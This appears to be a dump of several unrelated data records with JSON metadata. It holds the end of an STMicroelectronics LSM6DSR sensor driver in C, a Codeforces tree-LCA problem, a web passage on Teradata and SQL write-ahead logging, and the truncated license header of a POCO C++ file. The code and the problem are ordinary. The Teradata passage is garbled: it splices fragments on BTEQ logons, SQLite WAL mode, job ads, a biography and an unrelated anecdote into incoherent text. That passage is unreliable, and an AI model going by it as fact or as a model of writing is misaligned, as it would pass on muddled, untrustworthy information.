pObj the device pObj\n  * @param  ZHigh the status of ZHigh orientation\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Get_6D_Orientation_ZH(LSM6DSR_Object_t *pObj, uint8_t *ZHigh)\n{\n  lsm6dsr_d6d_src_t data;\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_D6D_SRC, (uint8_t *)&data, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  *ZHigh = data.zh;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR ACC data ready bit value\n  * @param  pObj the device pObj\n  * @param  Status the status of data ready bit\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Get_DRDY_Status(LSM6DSR_Object_t *pObj, uint8_t *Status)\n{\n  if (lsm6dsr_xl_flag_data_ready_get(&(pObj->Ctx), Status) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the status of all hardware events\n  * @param  pObj the device pObj\n  * @param  Status the status of all hardware events\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Get_Event_Status(LSM6DSR_Object_t *pObj, LSM6DSR_Event_Status_t *Status)\n{\n  uint8_t tilt_ia;\n  lsm6dsr_wake_up_src_t wake_up_src;\n  lsm6dsr_tap_src_t tap_src;\n  lsm6dsr_d6d_src_t d6d_src;\n  lsm6dsr_emb_func_src_t func_src;\n  lsm6dsr_md1_cfg_t md1_cfg;\n  lsm6dsr_md2_cfg_t md2_cfg;\n  lsm6dsr_emb_func_int1_t int1_ctrl;\n  lsm6dsr_emb_func_int2_t int2_ctrl;\n\n  (void)memset((void *)Status, 0x0, sizeof(LSM6DSR_Event_Status_t));\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_WAKE_UP_SRC, (uint8_t *)&wake_up_src, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_TAP_SRC, (uint8_t *)&tap_src, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_D6D_SRC, (uint8_t *)&d6d_src, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_mem_bank_set(&(pObj->Ctx), LSM6DSR_EMBEDDED_FUNC_BANK) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_EMB_FUNC_SRC, (uint8_t *)&func_src, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_EMB_FUNC_INT1, (uint8_t *)&int1_ctrl, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_EMB_FUNC_INT2, (uint8_t *)&int2_ctrl, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_mem_bank_set(&(pObj->Ctx), LSM6DSR_USER_BANK) != 0)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_MD1_CFG, (uint8_t *)&md1_cfg, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_MD2_CFG, (uint8_t *)&md2_cfg, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_tilt_flag_data_ready_get(&(pObj->Ctx), &tilt_ia) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if ((md1_cfg.int1_ff == 1U) || (md2_cfg.int2_ff == 1U))\n  {\n    if (wake_up_src.ff_ia == 1U)\n    {\n      Status->FreeFallStatus = 1;\n    }\n  }\n\n  if ((md1_cfg.int1_wu == 1U) || (md2_cfg.int2_wu == 1U))\n  {\n    if (wake_up_src.wu_ia == 1U)\n    {\n      Status->WakeUpStatus = 1;\n    }\n  }\n\n  if ((md1_cfg.int1_single_tap == 1U) || (md2_cfg.int2_single_tap == 1U))\n  {\n    if (tap_src.single_tap == 1U)\n    {\n      Status->TapStatus = 1;\n    }\n  }\n\n  if ((md1_cfg.int1_double_tap == 1U) || (md2_cfg.int2_double_tap == 1U))\n  {\n    if (tap_src.double_tap == 1U)\n    {\n      Status->DoubleTapStatus = 1;\n    }\n  }\n\n  if ((md1_cfg.int1_6d == 1U) || (md2_cfg.int2_6d == 1U))\n  {\n    if (d6d_src.d6d_ia == 1U)\n    {\n      Status->D6DOrientationStatus = 1;\n    }\n  }\n\n  if (int1_ctrl.int1_step_detector == 1U)\n  {\n    if (func_src.step_detected == 1U)\n    {\n      Status->StepStatus = 1;\n    }\n  }\n\n  if ((int1_ctrl.int1_tilt == 1U) || (int2_ctrl.int2_tilt == 1U))\n  {\n    if (tilt_ia == 1U)\n    {\n      Status->TiltStatus = 1;\n    }\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set self test\n  * @param  pObj the device pObj\n  * @param  val the value of st_xl in reg CTRL5_C\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Set_SelfTest(LSM6DSR_Object_t *pObj, uint8_t val)\n{\n  lsm6dsr_st_xl_t reg;\n\n  reg = (val == 0U)  ? LSM6DSR_XL_ST_DISABLE\n        : (val == 1U)  ? LSM6DSR_XL_ST_POSITIVE\n        : (val == 2U)  ? LSM6DSR_XL_ST_NEGATIVE\n        :                LSM6DSR_XL_ST_DISABLE;\n\n  if (lsm6dsr_xl_self_test_set(&(pObj->Ctx), reg) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR GYRO data ready bit value\n  * @param  pObj the device pObj\n  * @param  Status the status of data ready bit\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GYRO_Get_DRDY_Status(LSM6DSR_Object_t *pObj, uint8_t *Status)\n{\n  if (lsm6dsr_gy_flag_data_ready_get(&(pObj->Ctx), Status) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set self test\n  * @param  pObj the device pObj\n  * @param  val the value of st_xl in reg CTRL5_C\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GYRO_Set_SelfTest(LSM6DSR_Object_t *pObj, uint8_t val)\n{\n  lsm6dsr_st_g_t reg;\n\n  reg = (val == 0U)  ? LSM6DSR_GY_ST_DISABLE\n        : (val == 1U)  ? LSM6DSR_GY_ST_POSITIVE\n        : (val == 2U)  ? LSM6DSR_GY_ST_NEGATIVE\n        :                LSM6DSR_GY_ST_DISABLE;\n\n\n  if (lsm6dsr_gy_self_test_set(&(pObj->Ctx), reg) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR FIFO number of samples\n  * @param  pObj the device pObj\n  * @param  NumSamples number of samples\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_Get_Num_Samples(LSM6DSR_Object_t *pObj, uint16_t *NumSamples)\n{\n  if (lsm6dsr_fifo_data_level_get(&(pObj->Ctx), NumSamples) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR FIFO full status\n  * @param  pObj the device pObj\n  * @param  Status FIFO full status\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_Get_Full_Status(LSM6DSR_Object_t *pObj, uint8_t *Status)\n{\n  lsm6dsr_reg_t reg;\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_FIFO_STATUS2, &reg.byte, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  *Status = reg.fifo_status2.fifo_full_ia;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set the LSM6DSR FIFO full interrupt on INT1 pin\n  * @param  pObj the device pObj\n  * @param  Status FIFO full interrupt on INT1 pin status\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_Set_INT1_FIFO_Full(LSM6DSR_Object_t *pObj, uint8_t Status)\n{\n  lsm6dsr_reg_t reg;\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_INT1_CTRL, &reg.byte, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  reg.int1_ctrl.int1_fifo_full = Status;\n\n  if (lsm6dsr_write_reg(&(pObj->Ctx), LSM6DSR_INT1_CTRL, &reg.byte, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set the LSM6DSR FIFO watermark level\n  * @param  pObj the device pObj\n  * @param  Watermark FIFO watermark level\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_Set_Watermark_Level(LSM6DSR_Object_t *pObj, uint16_t Watermark)\n{\n  if (lsm6dsr_fifo_watermark_set(&(pObj->Ctx), Watermark) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set the LSM6DSR FIFO stop on watermark\n  * @param  pObj the device pObj\n  * @param  Status FIFO stop on watermark status\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_Set_Stop_On_Fth(LSM6DSR_Object_t *pObj, uint8_t Status)\n{\n  if (lsm6dsr_fifo_stop_on_wtm_set(&(pObj->Ctx), Status) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set the LSM6DSR FIFO mode\n  * @param  pObj the device pObj\n  * @param  Mode FIFO mode\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_Set_Mode(LSM6DSR_Object_t *pObj, uint8_t Mode)\n{\n  int32_t ret = LSM6DSR_OK;\n\n  /* Verify that the passed parameter contains one of the valid values. */\n  switch ((lsm6dsr_fifo_mode_t)Mode)\n  {\n    case LSM6DSR_BYPASS_MODE:\n    case LSM6DSR_FIFO_MODE:\n    case LSM6DSR_STREAM_TO_FIFO_MODE:\n    case LSM6DSR_BYPASS_TO_STREAM_MODE:\n    case LSM6DSR_STREAM_MODE:\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  if (ret == LSM6DSR_ERROR)\n  {\n    return ret;\n  }\n\n  if (lsm6dsr_fifo_mode_set(&(pObj->Ctx), (lsm6dsr_fifo_mode_t)Mode) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Get the LSM6DSR FIFO tag\n  * @param  pObj the device pObj\n  * @param  Tag FIFO tag\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_Get_Tag(LSM6DSR_Object_t *pObj, uint8_t *Tag)\n{\n  lsm6dsr_fifo_tag_t tag_local;\n\n  if (lsm6dsr_fifo_sensor_tag_get(&(pObj->Ctx), &tag_local) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  *Tag = (uint8_t)tag_local;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR FIFO raw data\n  * @param  pObj the device pObj\n  * @param  Data FIFO raw data array [6]\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_Get_Data(LSM6DSR_Object_t *pObj, uint8_t *Data)\n{\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_FIFO_DATA_OUT_X_L, Data, 6) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR FIFO accelero single sample (16-bit data per 3 axes) and calculate acceleration [mg]\n  * @param  pObj the device pObj\n  * @param  Acceleration FIFO accelero axes [mg]\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_ACC_Get_Axes(LSM6DSR_Object_t *pObj, LSM6DSR_Axes_t *Acceleration)\n{\n  uint8_t data[6];\n  int16_t data_raw[3];\n  float sensitivity = 0.0f;\n  float acceleration_float[3];\n\n  if (LSM6DSR_FIFO_Get_Data(pObj, data) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  data_raw[0] = ((int16_t)data[1] << 8) | data[0];\n  data_raw[1] = ((int16_t)data[3] << 8) | data[2];\n  data_raw[2] = ((int16_t)data[5] << 8) | data[4];\n\n  if (LSM6DSR_ACC_GetSensitivity(pObj, &sensitivity) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  acceleration_float[0] = (float)data_raw[0] * sensitivity;\n  acceleration_float[1] = (float)data_raw[1] * sensitivity;\n  acceleration_float[2] = (float)data_raw[2] * sensitivity;\n\n  Acceleration->x = (int32_t)acceleration_float[0];\n  Acceleration->y = (int32_t)acceleration_float[1];\n  Acceleration->z = (int32_t)acceleration_float[2];\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set the LSM6DSR FIFO accelero BDR value\n  * @param  pObj the device pObj\n  * @param  Bdr FIFO accelero BDR value\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_ACC_Set_BDR(LSM6DSR_Object_t *pObj, float Bdr)\n{\n  lsm6dsr_bdr_xl_t new_bdr;\n\n  new_bdr = (Bdr <=    0.0f) ? LSM6DSR_XL_NOT_BATCHED\n            : (Bdr <=   12.5f) ? LSM6DSR_XL_BATCHED_AT_12Hz5\n            : (Bdr <=   26.0f) ? LSM6DSR_XL_BATCHED_AT_26Hz\n            : (Bdr <=   52.0f) ? LSM6DSR_XL_BATCHED_AT_52Hz\n            : (Bdr <=  104.0f) ? LSM6DSR_XL_BATCHED_AT_104Hz\n            : (Bdr <=  208.0f) ? LSM6DSR_XL_BATCHED_AT_208Hz\n            : (Bdr <=  416.0f) ? LSM6DSR_XL_BATCHED_AT_417Hz\n            : (Bdr <=  833.0f) ? LSM6DSR_XL_BATCHED_AT_833Hz\n            : (Bdr <= 1660.0f) ? LSM6DSR_XL_BATCHED_AT_1667Hz\n            : (Bdr <= 3330.0f) ? LSM6DSR_XL_BATCHED_AT_3333Hz\n            :                    LSM6DSR_XL_BATCHED_AT_6667Hz;\n\n  if (lsm6dsr_fifo_xl_batch_set(&(pObj->Ctx), new_bdr) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR FIFO gyro single sample (16-bit data per 3 axes) and calculate angular velocity [mDPS]\n  * @param  pObj the device pObj\n  * @param  AngularVelocity FIFO gyro axes [mDPS]\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_GYRO_Get_Axes(LSM6DSR_Object_t *pObj, LSM6DSR_Axes_t *AngularVelocity)\n{\n  uint8_t data[6];\n  int16_t data_raw[3];\n  float sensitivity = 0.0f;\n  float angular_velocity_float[3];\n\n  if (LSM6DSR_FIFO_Get_Data(pObj, data) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  data_raw[0] = ((int16_t)data[1] << 8) | data[0];\n  data_raw[1] = ((int16_t)data[3] << 8) | data[2];\n  data_raw[2] = ((int16_t)data[5] << 8) | data[4];\n\n  if (LSM6DSR_GYRO_GetSensitivity(pObj, &sensitivity) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  angular_velocity_float[0] = (float)data_raw[0] * sensitivity;\n  angular_velocity_float[1] = (float)data_raw[1] * sensitivity;\n  angular_velocity_float[2] = (float)data_raw[2] * sensitivity;\n\n  AngularVelocity->x = (int32_t)angular_velocity_float[0];\n  AngularVelocity->y = (int32_t)angular_velocity_float[1];\n  AngularVelocity->z = (int32_t)angular_velocity_float[2];\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set the LSM6DSR FIFO gyro BDR value\n  * @param  pObj the device pObj\n  * @param  Bdr FIFO gyro BDR value\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_FIFO_GYRO_Set_BDR(LSM6DSR_Object_t *pObj, float Bdr)\n{\n  lsm6dsr_bdr_gy_t new_bdr;\n\n  new_bdr = (Bdr <=    0.0f) ? LSM6DSR_GY_NOT_BATCHED\n            : (Bdr <=   12.5f) ? LSM6DSR_GY_BATCHED_AT_12Hz5\n            : (Bdr <=   26.0f) ? LSM6DSR_GY_BATCHED_AT_26Hz\n            : (Bdr <=   52.0f) ? LSM6DSR_GY_BATCHED_AT_52Hz\n            : (Bdr <=  104.0f) ? LSM6DSR_GY_BATCHED_AT_104Hz\n            : (Bdr <=  208.0f) ? LSM6DSR_GY_BATCHED_AT_208Hz\n            : (Bdr <=  416.0f) ? LSM6DSR_GY_BATCHED_AT_417Hz\n            : (Bdr <=  833.0f) ? LSM6DSR_GY_BATCHED_AT_833Hz\n            : (Bdr <= 1660.0f) ? LSM6DSR_GY_BATCHED_AT_1667Hz\n            : (Bdr <= 3330.0f) ? LSM6DSR_GY_BATCHED_AT_3333Hz\n            :                    LSM6DSR_GY_BATCHED_AT_6667Hz;\n\n  if (lsm6dsr_fifo_gy_batch_set(&(pObj->Ctx), new_bdr) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @}\n  */\n\n/** @defgroup LSM6DSR_Private_Functions LSM6DSR Private Functions\n  * @{\n  */\n\n/**\n  * @brief  Set the LSM6DSR accelerometer sensor output data rate when enabled\n  * @param  pObj the device pObj\n  * @param  Odr the functional output data rate to be set\n  * @retval 0 in case of success, an error code otherwise\n  */\nstatic int32_t LSM6DSR_ACC_SetOutputDataRate_When_Enabled(LSM6DSR_Object_t *pObj, float Odr)\n{\n  lsm6dsr_odr_xl_t new_odr;\n\n  new_odr = (Odr <=   12.5f) ? LSM6DSR_XL_ODR_12Hz5\n            : (Odr <=   26.0f) ? LSM6DSR_XL_ODR_26Hz\n            : (Odr <=   52.0f) ? LSM6DSR_XL_ODR_52Hz\n            : (Odr <=  104.0f) ? LSM6DSR_XL_ODR_104Hz\n            : (Odr <=  208.0f) ? LSM6DSR_XL_ODR_208Hz\n            : (Odr <=  416.0f) ? LSM6DSR_XL_ODR_416Hz\n            : (Odr <=  833.0f) ? LSM6DSR_XL_ODR_833Hz\n            : (Odr <= 1666.0f) ? LSM6DSR_XL_ODR_1666Hz\n            : (Odr <= 3332.0f) ? LSM6DSR_XL_ODR_3332Hz\n            :                    LSM6DSR_XL_ODR_6667Hz;\n\n  /* Output data rate selection. */\n  if (lsm6dsr_xl_data_rate_set(&(pObj->Ctx), new_odr) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set the LSM6DSR accelerometer sensor output data rate when disabled\n  * @param  pObj the device pObj\n  * @param  Odr the functional output data rate to be set\n  * @retval 0 in case of success, an error code otherwise\n  */\nstatic int32_t LSM6DSR_ACC_SetOutputDataRate_When_Disabled(LSM6DSR_Object_t *pObj, float Odr)\n{\n  pObj->acc_odr = (Odr <=   12.5f) ? LSM6DSR_XL_ODR_12Hz5\n                  : (Odr <=   26.0f) ? LSM6DSR_XL_ODR_26Hz\n                  : (Odr <=   52.0f) ? LSM6DSR_XL_ODR_52Hz\n                  : (Odr <=  104.0f) ? LSM6DSR_XL_ODR_104Hz\n                  : (Odr <=  208.0f) ? LSM6DSR_XL_ODR_208Hz\n                  : (Odr <=  416.0f) ? LSM6DSR_XL_ODR_416Hz\n                  : (Odr <=  833.0f) ? LSM6DSR_XL_ODR_833Hz\n                  : (Odr <= 1666.0f) ? LSM6DSR_XL_ODR_1666Hz\n                  : (Odr <= 3332.0f) ? LSM6DSR_XL_ODR_3332Hz\n                  :                    LSM6DSR_XL_ODR_6667Hz;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set the LSM6DSR gyroscope sensor output data rate when enabled\n  * @param  pObj the device pObj\n  * @param  Odr the functional output data rate to be set\n  * @retval 0 in case of success, an error code otherwise\n  */\nstatic int32_t LSM6DSR_GYRO_SetOutputDataRate_When_Enabled(LSM6DSR_Object_t *pObj, float Odr)\n{\n  lsm6dsr_odr_g_t new_odr;\n\n  new_odr = (Odr <=   12.5f) ? LSM6DSR_GY_ODR_12Hz5\n            : (Odr <=   26.0f) ? LSM6DSR_GY_ODR_26Hz\n            : (Odr <=   52.0f) ? LSM6DSR_GY_ODR_52Hz\n            : (Odr <=  104.0f) ? LSM6DSR_GY_ODR_104Hz\n            : (Odr <=  208.0f) ? LSM6DSR_GY_ODR_208Hz\n            : (Odr <=  416.0f) ? LSM6DSR_GY_ODR_416Hz\n            : (Odr <=  833.0f) ? LSM6DSR_GY_ODR_833Hz\n            : (Odr <= 1666.0f) ? LSM6DSR_GY_ODR_1666Hz\n            : (Odr <= 3332.0f) ? LSM6DSR_GY_ODR_3332Hz\n            :                    LSM6DSR_GY_ODR_6667Hz;\n\n  /* Output data rate selection. */\n  if (lsm6dsr_gy_data_rate_set(&(pObj->Ctx), new_odr) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set the LSM6DSR gyroscope sensor output data rate when disabled\n  * @param  pObj the device pObj\n  * @param  Odr the functional output data rate to be set\n  * @retval 0 in case of success, an error code otherwise\n  */\nstatic int32_t LSM6DSR_GYRO_SetOutputDataRate_When_Disabled(LSM6DSR_Object_t *pObj, float Odr)\n{\n  pObj->gyro_odr = (Odr <=   12.5f) ? LSM6DSR_GY_ODR_12Hz5\n                   : (Odr <=   26.0f) ? LSM6DSR_GY_ODR_26Hz\n                   : (Odr <=   52.0f) ? LSM6DSR_GY_ODR_52Hz\n                   : (Odr <=  104.0f) ? LSM6DSR_GY_ODR_104Hz\n                   : (Odr <=  208.0f) ? LSM6DSR_GY_ODR_208Hz\n                   : (Odr <=  416.0f) ? LSM6DSR_GY_ODR_416Hz\n                   : (Odr <=  833.0f) ? LSM6DSR_GY_ODR_833Hz\n                   : (Odr <= 1666.0f) ? LSM6DSR_GY_ODR_1666Hz\n                   : (Odr <= 3332.0f) ? LSM6DSR_GY_ODR_3332Hz\n                   :                    LSM6DSR_GY_ODR_6667Hz;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Wrap Read register component function to Bus IO function\n  * @param  Handle the device handler\n  * @param  Reg the register address\n  * @param  pData the stored data pointer\n  * @param  Length the length\n  * @retval 0 in case of success, an error code otherwise\n  */\nstatic int32_t ReadRegWrap(void *Handle, uint8_t Reg, uint8_t *pData, uint16_t Length)\n{\n  LSM6DSR_Object_t *pObj = (LSM6DSR_Object_t *)Handle;\n\n  return pObj->IO.ReadReg(pObj->IO.Address, Reg, pData, Length);\n}\n\n/**\n  * @brief  Wrap Write register component function to Bus IO function\n  * @param  Handle the device handler\n  * @param  Reg the register address\n  * @param  pData the stored data pointer\n  * @param  Length the length\n  * @retval 0 in case of success, an error code otherwise\n  */\nstatic int32_t WriteRegWrap(void *Handle, uint8_t Reg, uint8_t *pData, uint16_t Length)\n{\n  LSM6DSR_Object_t *pObj = (LSM6DSR_Object_t *)Handle;\n\n  return pObj->IO.WriteReg(pObj->IO.Address, Reg, pData, Length);\n}\n\n/**\n  * @}\n  */\n\n/**\n  * @}\n  */\n\n/**\n  * @}\n  */\n\n/**\n  * @}\n  */\n\n/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/", "source": "cpt_stack_code", "language": "code", "token_count": 27598, "token_count_with_eod": 27599, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Yuezheng Ling gives Luo Tianyi a tree which has $$$n$$$ nodes, rooted at $$$1$$$.\n\nLuo Tianyi will tell you that the parent of the $$$i$$$-th node is $$$a_i$$$ ($$$1 \\leq a_i<i$$$ for $$$2 \\le i \\le n$$$), and she will ask you to perform $$$q$$$ queries of $$$2$$$ types:\n\n1. She'll give you three integers $$$l$$$, $$$r$$$ and $$$x$$$ ($$$2 \\le l \\le r \\le n$$$, $$$1 \\le x \\le 10^5$$$). You need to replace $$$a_i$$$ with $$$\\max(a_i-x,1)$$$ for all $$$i$$$ with $$$l \\leq i \\leq r$$$.\n2. She'll give you two integers $$$u$$$, $$$v$$$ ($$$1 \\le u, v \\le n$$$). You need to find the LCA of nodes $$$u$$$ and $$$v$$$ (their lowest common ancestor).", "source": "cpt_codeforces", "language": "en", "token_count": 222, "token_count_with_eod": 223, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Key areas include troubleshooting performance issues and tuning the various system components for maximum performance. Below are the argument names along with their default values. In addition, the course will provide a base understanding of the steps in the development life cycle along with comparing the strengths and functionality of the various tools.\nStores information recorded for the checkpoint in a chain of checkpoint log records. The best way to enable write-ahead logging is to pass the SQLiteDatabase.\nHow would you create a database? Found'] As you can see, UdaExec is attempting to load external configuration from multiple files. I started by downloading the install script: Writing a modified data page from the buffer cache to disk is called flushing the page.\nIf these log files grow to a large size because of many small increments, they will have lots of virtual log files. What if we now wanted to run our HelloWorld. We also tell UdaExec not to log to the console e. Only the data blocks containing rows are compressed. At the same time the row size for many database objects has been increased to 1 Megabyte, here are the most important ones: This course will also cover how to use and understand the strengths and performance capabilities of each; choosing the best utility for any given application or set of production requirements.\nYou could monitor your Linux server log files to detect resource depletion issues such as a lack of swap space or file descriptors. These additional commands, which must be used prior to actually using the LOGON command directly or tacitlyprovide the ability to: It can not be used while already logged on.\nWhen she wants to use the same BTEQ process to switch between logging on to tdprod and tdtest she will need to use this setting. As long as one session successfully gets established, BTEQ will treat the logon as successful.\nAdditional topics will include access rights, roles, profiles, and built in accounting functions. WAL mode can only be changed when there are no transactions in progress. Excellent Communication Skills Good knowledge and experience on Big Data related technologies is a plus The job entails sitting as well as working at a computer for extended periods of time.\nNote that the exact number of sessions being requested may not be available to get connected.\nYou can even use the metrics to raise alarms or to initiate Auto Scaling activities. Block Level Compression is an excellent method to cut disk space usage, for tables which are not frequently accessed, but is costly CPU time for tables where frequent changes take place of course an extra one-time cost is involved for the first compression of all data blocks.\nWhat option do you have? If we look at this location on the file system we can see the log file that was generated: This maintains the ACID properties for a transaction.\nWhat is used by PostgreSQL in its internal system tables to link rows in separate tables? While 64 Kilobytes sounds a quite huge number of columns which can be packed into the result set, the usage of wide UNICODE character columns could easily exceed this limit. Luckily the UdaExec framework makes it easy to maintain configuration information outside of our source code.In Sqlite3, Write-Ahead-Logging mode allows one process to read a table, while another is writing to it.\nIt doesn't say anything about one process writing and another deleting/updating. Roland Wenzlofsky is a graduated computer scientist and Data Warehouse professional working with the Teradata database system for more than 15 years. He is experienced in the fields of banking and telecommunication with a strong focus on performance optimization.\nTopics include Introduction to Teradata Architecture (Basics) (1 day), Teradata SQL (3 days), and Teradata Application Utilities (1 day). Complete with hands-on training, continuous interaction, and real world examples, the goal is to make everyone attending this training Teradata ready.\nJul 05, · Write-Ahead Transaction Log SQL Server uses a write-ahead log (WAL), which guarantees that no data modifications are written to disk before the associated log. SQL Server Transaction Log – Part 1 – Log Structure and Write-Ahead Logging (WAL) Algorithm December 18, by Miroslav Dimitrov SQL Server transaction log is one of the most critical and in the same time one of the most misinterpreted part.\nTeradata Jobs In Usa. # 2 Prioritize any item in this list is the most important and not write. Barbara had not only thanked Elizabeth for the interview, but she had answered some of the organizational issues that were discussed during the interview as well.Download", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 924, "token_count_with_eod": 925, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n// SessionImpl.h\n//\n// $Id: //poco/1.4/Data/include/Poco/Data/SessionImpl.h#1 $\n//\n// Library: Data\n// Package: DataCore\n// Module:  SessionImpl\n//\n// Definition of the SessionImpl class.\n//\n// Copyright (c) 2006, Applied Informatics Software Engineering GmbH.\n// and Contributors.\n//\n// Permission is hereby granted, free of charge, to any person or organization\n// obtaining a copy of the software and accompanying documentation covered by\n// this license (the \"Software\") to use, reproduce, display, distribute,\n// execute, and transmit the Software, and to prepare derivative works of the\n// Software, and to permit third-parties to whom the Software is furnished to\n// do so, all subject to the following:\n// \n// The copyright notices in the Software and this entire statement, including\n// the above license grant, this restriction and the following disclaimer,\n// must be included in all copies of the Software, in whole or in part, and\n// all derivative works of the Software, unless such copies or derivative\n// works are solely in the form of machine-executable object code generated by\n// a source language processor.\n// \n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT\n// SHALL THE COPYRIGHT HOLDERS OR ANYONE 